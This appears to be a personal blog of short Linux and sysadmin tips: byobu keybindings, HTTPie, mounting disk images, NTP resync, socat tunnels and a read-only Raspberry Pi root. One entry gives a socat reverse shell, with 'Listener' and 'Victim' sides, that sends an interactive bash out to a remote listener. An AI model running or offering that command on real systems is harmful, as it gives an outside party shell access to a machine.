Just a cookbook about how to get a YAML file when you have a JSON one.
python -c 'import sys, yaml, json; yaml.safe_dump(json.load(sys.stdin), sys.stdout, default_flow_style=False)' < file.json > file.yaml
Reading time: 2 – 2 minutes
I’m a byobu user for a long time, I love it for many reasons. But this is just a quick tip for extreme users like me. I mean people who use byobu for local consoles with remote byobu sessions running on top of SSH, for instance.
When prefix key combinations has to be sent to the remote host we have to press “Control + a + a” and finally the command that we want to send to the remote systems. This is not comfortable many times. So, I modified my configuration file for changing the prefix when I want to send remote commands to the nested byobu.
This is going to work this way:
Control + a
Control + b
Take a look on this screen capture where you can see byobu status bars stacked.
If you find useful the configuration that I described the only thing that you have to do is modify the configuration file: ~/.byobu/keybindings.tmux
unbind-key -n C-a set -g prefix C-a set -g prefix2 F12 unbind-key -n C-b bind-key -n C-b send-prefix
I hope this is useful as it is for me.
Reading time: < 1 minute When a title says all that you have to say, the best is paste the link of the tool and just attach a screenshot: nethogs.
Reading time: 1 – 2 minutes
I imagine you are used to using curl for many command line scripts, tests, and much more things. I did the same but some weeks ago I discovered HTTPie which is the best substitute that I’ve ever found for curl. Of course, it’s also available for a lot of Linux distributions, Windows, and Mac. But I used it with docker which is much more transparent for the operative system and easy to update. To be more precise I use next alias trick for using this tool:
alias http='sudo docker run -it --rm --net=host clue/httpie'
Official website: httpie.org
Let me paste some highlights about HTTPie:
From the tool webpage a nice comparison about how HTTPie looks like versus curl.
Reading time: 1 – 2 minutes
When we have a file with a ‘dd’ of a full disk and we want to mount a partition of that disk, we have to use an offset for jumping to the beginning of the partition that we want to mount.
Using ‘fdisk’ command we can find the partitions of that disk copied inside a file.
fdisk -l FILE_WITH_DISK_INSIDE
Once partition table is shown there is a column called ‘Start’ using the corresponding number in this column for the partition that we want we can obtain the offset required for our mounting point. Reasoning behind that is multiply start sector per number of bytes per sector.
# OFFSET = START * 512
mount -o ro,loop,offset=OFFSET FILE_WITH_DISK_INSIDE /mnt
I hope thanks to this technical note next time that I forget how to get the offset I find it fastly.
UPDATE 2018/08/29:
If you don’t want to do that manually, there is a small tool called losetup which maps the partitions of a disk image on a file.
# example, attaching partitions to loopback devices
losetup -P /dev/loop0 DISK_IMAGE
# just mount the devices now, they are /dev/loop0pX where X is the number of the partition
# dettach this assignament:
losetup -d /dev/loop0
Reading time: < 1 minute Synchronise Linux clock when NTP service is running but the clock is not on time:
sudo service ntp stop sudo ntpd -gq sudo service ntp start
Reading time: < 1 minute Fast reminder and tip for socat, it can work on two devices or more:
# SERVER: socat TCP-LISTEN:4443 TUN:192.168.255.2/24,up # CLIENT: socat TCP:SERVER_IP:4443 TUN:192.168.255.1/24,up
Reading time: < 1 minute This is another short entry, in this case for recommending a service which we solve typical problem solved using a DNAT. Once we have a service on our laptop, or on a private server and we have to expose that service on the internet for some time or permanently usually we have to go the firewall, or router and create a NAT rule forwarding a port. This is a simple and powerful service which is going to solve that for you. There is a free account for understanding and testing the service, other plans are available and especially affordable for professional requirements.
I was frogetting to say it’s compatible with Linux, Windows and Mac.
Reading time: < 1 minute
#Listener: socat file:`tty`,raw,echo=0 tcp-listen:12345 #Victim: socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:IP_LISTENER:12345
Reading time: 2 – 2 minutes
Two years ago I wrote an article discussing how to set up OpenWRT filesystem configuration for controlling writes in the flash card: Raspberry PI and OpenWRT flash partition proposal and rescue boot support for embedded systems.
This current article is mainly for referencing a very good article about how to work with Raspbian with a read-only filesystem and share a fast and dirty cookbook about how to play with that. First of all the reference to: Protect your Raspberry PI SD card, use Read-Only filesystem.
My cookbook about how to get the essence of that article is simple, locate in your /etc/fstab file the line:
/dev/mmcblk0p2 / ext4 defaults,noatime 0 1
and modify that line with:
/dev/mmcblk0p2 / ext4 defaults,noatime,ro 0 1
After rebooting your system is going to work in read-only mode. I don’t remember if I modified anything else of the booting process but I don’t thing so.
Because sometimes I have to modify anything in the flash card, I added the next two lines in the ~/.bashrc file:
alias rw='sudo mount -o remount,rw / ; sudo mount -o remount,rw /boot' alias ro='sudo mount -o remount,ro / ; sudo mount -o remount,ro /boot'
Now just with the command rw it’s really easy to get the root filesystem in the write mode, and when I finish my updates just typing ro it’s go back to read-only mode.
I hope it’s useful for you.